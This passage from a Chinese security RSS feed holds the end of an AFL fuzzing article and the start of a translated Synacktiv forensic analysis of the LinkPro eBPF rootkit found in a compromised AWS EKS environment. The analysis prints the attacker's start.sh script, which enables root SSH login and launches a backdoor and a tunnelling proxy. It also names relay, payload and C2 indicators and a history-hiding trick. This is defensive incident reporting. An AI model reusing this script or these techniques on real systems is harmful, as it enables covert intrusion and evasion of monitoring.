src="https://wechat2rss.xlab.app/img-proxy/?k=de9166bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSg77XexdEY2l74g8H6q41oW11nVBb5CR3JGxFDRYyQImBiauCrEqrhYYibZD16NZicpRAnKcCEBOjZdiaHSib2w1ZibtBb8eC8NMJqIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关于这一节的最后一点说明:在 fuzzing 进程从开始运行直到终止期间,afl 界面上展示的那些统计数据,也会针对每个进程分别保存到一个独立的文件里!</span></p><hr style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;background-color: rgb(225, 228, 232);border: 0px;color: rgb(204, 204, 204);height: 0.25em;padding: 0px;margin: 24px 0px;font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;"/><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">总结</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Fuzzing 提供了一种强有力的方式,用来测试项目代码中的故障与缺陷。根据所使用 fuzzer 的不同,生成的输出可以直接用来推导出可能的 exploit 或 PoC。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">就 american fuzzy lop 而言,其基础功能本身就已经相当出色,绝对算得上现有 fuzzing 工具中速度较快的那一类。再配合上 afl-utils 与 exploitable gdb 脚本,效果就更加令人惊艳。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后,但同样重要的一点是:不妨进一步测试 OSS、boofuzz 或其他文中没有提到的 fuzzing 框架,看看它们之间各自表现如何、谁能更胜一筹。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">希望这份简短粗略的概览能让你看到:fuzzing 是一种强有力的方法,可以通过发现人工 QA 容易忽视的关键缺陷来加固应用程序。请注意,本文展示的演示是在一个相当&#34;千疮百孔&#34;的仓库上完成的。如果你开始对各种东西做 fuzz 却没有冒出多少崩溃,那其实是件好事,你不应该为此沮丧 -- 尤其当被 fuzz 的是你自己写的代码,或是被广泛使用的代码时 :) !</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">带着这份心态:祝你 fuzzing 愉快!</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://0x434b.dev/fuzzing-projects-with-american-fuzzy-lop-afl/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c117c8d1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495986%26idx%3D2%26sn%3D085c365ceb28a6b0434beb6d074eca6e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 May 2026 10:24:00 +0800</pubDate>
    </item>
    <item>
      <title>LinkPro eBPF rootkit 深度剖析</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495984&amp;idx=1&amp;sn=375fbdcde44635ee0b7cc08403b10b1e</link>
      <description>深入解析 Synacktiv CSIRT 在被入侵 AWS EKS 环境中发现的 LinkPro eBPF rootkit:借助 XDP/TC 实现魔法包敲门、利用 tracepoint/kretprobe 隐匿自身,并以 ld.so.preload 作为内核选项缺失时的回退方案。</description>
      <content:encoded><![CDATA[<p><span>Théo Letailleur</span> <span>2026-05-05 20:04</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8c50bb9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nShcNyandcFb3W9mOqa2S1qQr1nynA65I3ee4WM3O4A4J0Lw80d7K6B9HgnG8RmrEt7zRVLmKHp7UB3fyWwE8CgPLJ2ia7ItQooA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>深入解析 Synacktiv CSIRT 在被入侵 AWS EKS 环境中发现的 LinkPro eBPF rootkit:借助 XDP/TC 实现魔法包敲门、利用 tracepoint/kretprobe 隐匿自身,并以 ld.so.preload 作为内核选项缺失时的回退方案。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis" target="_blank">https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Théo Letailleur</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在一次针对 AWS 托管基础设施被入侵事件的数字取证调查中,我们发现了一个针对 GNU/Linux 系统的隐蔽后门。该后门依赖于两个 eBPF 模块来实现其功能:一方面用于隐藏自身,另一方面则用于在收到&#34;魔法数据包&#34;时被远程激活。本文将详细介绍该 rootkit 的能力,并展示在本案中观察到的感染链——攻击者借助该感染链将其植入到了 AWS EKS 环境中的多个节点上。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">引言</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">eBPF ( extended Berkeley Packet Filter ) 是 Linux 中被广泛采用的一项技术,因其用例丰富 ( 可观测性、安全、网络等 ) ,并且能够在内核上下文中运行的同时由用户态进行编排。威胁组织正越来越多地滥用这项技术来构建复杂的后门,从而绕过传统的系统监控工具。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">诸如 BPFDoor1、Symbiote2 以及 J-magic3 等恶意软件,都展示了 eBPF 在构建被动式后门方面的有效性——它们能够监听网络流量,并在收到特定的&#34;魔法数据包&#34;时被激活。此外,还有一些更复杂的开源工具,例如 ebpfkit4 ( 概念验证 ) 和 eBPFexPLOIT5 ,它们的编排器由 Golang 开发,具备 rootkit 的能力,所提供的功能涵盖建立隐蔽的命令与控制 ( C2 ) 通道、进程隐藏以及容器逃逸等技术。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在最近一次针对受入侵 AWS 托管基础设施的调查中,Synacktiv CSIRT 还原出了一条较为复杂的感染链,该感染链最终在 GNU/Linux 系统上植入了一个隐蔽后门。该后门依赖于两个 eBPF 模块的安装:一个用于隐藏自身,另一个用于在收到&#34;魔法数据包&#34;后被远程激活。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">感染链</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">取证分析将一台暴露在互联网上的、存在漏洞的 Jenkins 服务器 ( CVE-2024-238976 ) 确定为本次入侵的源头。该服务器作为攻击者的初始入口,使其得以横向进入托管在 Amazon EKS7⁣ - Elastic Kubernetes Service ( 标准模式 ) 的多个集群中的集成与部署流水线。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">借助这台 Jenkins 服务器,攻击者向多个 Kubernetes 集群部署了一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kvlnt/vv</span></code><span leaf="">的恶意 docker 镜像 ( 该镜像曾托管在 hub.docker.com 上,在我们注意到它之后,镜像已被官方下架 ) 。该 docker 镜像基于 Kali Linux,并在其之上叠加了两个额外的 layer。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012288" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=08224400&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShZpQISYibYic4hibXJWRQ5HoH67HLw3y0Lq8tfzQegbAsShHZCP9ZPlG8T5tujYbibhVbl6vYJWwsO2QnLtgtmonU1FiaNXAicWWAsY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">Docker image layers</span></figcaption></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012290" data-ratio="0.6890756302521008" data-s="300,640" type="block" data-type="png" data-w="595" src="https://wechat2rss.xlab.app/img-proxy/?k=3bfb5f84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaEAP8ZWn1tKicmjG2m3E4896Hic8GKfJz28Cd70tHDicbBkWRnHu0LKEkqUuVFOjyGvqubvnPwXgyya6skOjia1FQ07bDEjriayYiaQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption><span leaf="">Docker image tree</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这两个 layer 将 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">app</span></code><span leaf="">文件夹设为工作目录,并向其中加入了三个文件:</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/app/start.sh</span></code><p><span leaf="">: 一个 </span><strong><span leaf="">bash</span></strong><span leaf="">脚本,作为 docker 镜像的入口点 ( entrypoint ) 。其作用是启动 </span><em><span leaf="">ssh</span></em><span leaf="">服务,执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/app/app</span></code><span leaf="">后门以及 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/app/link</span></code><span leaf="">程序。</span><pre style="margin: 15px 0px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);margin-top: 0px;"><span leaf="">#!/bin/bash</span><br/></span><span leaf="">sed -i -e </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#39;s/<a class="wx_topic_link" topic-id="mopv45li-v2f7pm" style="color: #576B95 !important;" data-topic="1" data-recommend="">#PermitRootLogin</a> /PermitRootLogin yes\n#/g&#39;</span></span><span leaf=""> /etc/ssh/sshd_config</span><br/><span leaf="">/etc/init.d/ssh start</span><br/><span leaf="">./app </span><span style="color: rgb(215, 58, 73);"><span leaf="">&amp;</span></span><br/><span leaf="">./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 </span><span style="color: rgb(215, 58, 73);margin-bottom: 0px;"><span leaf="">||</span></span><span leaf=""> tail -f /var/log/wtmp</span></code></pre></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/app/link</span></code><p><span leaf="">: 一个名为 </span><strong><span leaf="">vnt</span></strong><span leaf="">8 的开源程序,扮演 </span><strong><span leaf="">VPN</span></strong><span leaf="">服务器并提供代理能力。它会连接到位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">vnt.wherewego.top:29872</span></code><span leaf="">的社区中继服务器。这使得攻击者能够通过任意 IP 地址连入受害服务器,并以其作为代理来访问基础设施中的其他服务器。在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/app/start.sh</span></code><span leaf="">脚本中指定的命令行参数如下:</span></p></li><ol style="margin: 15px 0px 0px;padding-left: 30px;" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-k ooonnn</span></code><p><span leaf="">: 用于在中继服务器上标识虚拟 VLAN 的 token</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-w mmm000</span></code><p><span leaf="">: 用于在客户端之间加密通信的密码 ( AES128-GCM )</span></p></li><li style="margin: 15px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-W</span></code><p><span leaf="">: 启用客户端与服务器之间的加密 ( RSA+AES256-GCM ) ,以防止 token 泄露和 </span><em style="margin-bottom: 0px;"><span leaf="">中间人</span></em><span leaf="">攻击。</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">-o 0.0.0.0/0</span></code><p><span leaf="">: 允许向所有网段进行 </span><em style="margin-bottom: 0px;"><span leaf="">转发</span></em><span leaf="">。</span></p></li></ol><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/app/app</span></code><p><span leaf="">: 一个 </span><em><span leaf="">下载器</span></em><span leaf="">恶意软件,从 S3 桶中获取一份加密的恶意载荷。其访问的 URL 为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">https[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png</span></code><span leaf="">。在本次观察到的案例中,该载荷是一份内存中运行的 </span><strong><span leaf="">vShell 4.9.3</span></strong><span leaf="">,通过 WebSocket 与其命令控制服务器 ( </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">56.155.98.37</span></code><span leaf="">) 通信。Synacktiv CSIRT 将该 </span><em><span leaf="">下载器</span></em><span leaf="">命名为 </span><strong><span leaf="">vGet</span></strong><span leaf="">,因为在本案中它与 </span><strong style="margin-bottom: 0px;"><span leaf="">vShell</span></strong><span leaf="">存在直接关联。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">vShell</span></strong><span leaf="">是一款已被记录的后门9,尤其被 UNC517410 使用。其源代码已大约一年没有出现在 GitHub 上。然而,一个较新的版本 4.9.3 及其 ( 已被破解的 ) 许可证仍可被下载,使得各种攻击者都得以使用 vShell。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">至于 </span><strong><span leaf="">vGet</span></strong><span leaf="">,目前并没有任何开源公开材料,该程序由 Rust 开发并经过 strip 处理。这段恶意代码在执行开始时会先创建一个从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/tmp/.del</span></code><span leaf="">指向 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/dev/null</span></code><span leaf="">的符号链接,然后再下载 </span><strong><span leaf="">vShell</span></strong><span leaf="">载荷。</span><strong><span leaf="">vShell</span></strong><span leaf="">在执行时,如果操作员请求打开终端,则会初始化环境变量 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HISTFILE=/tmp/.del</span></code><span leaf="">。其目的在于确保命令历史不会被写入文件 ( 例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.bash_history</span></code><span leaf="">) 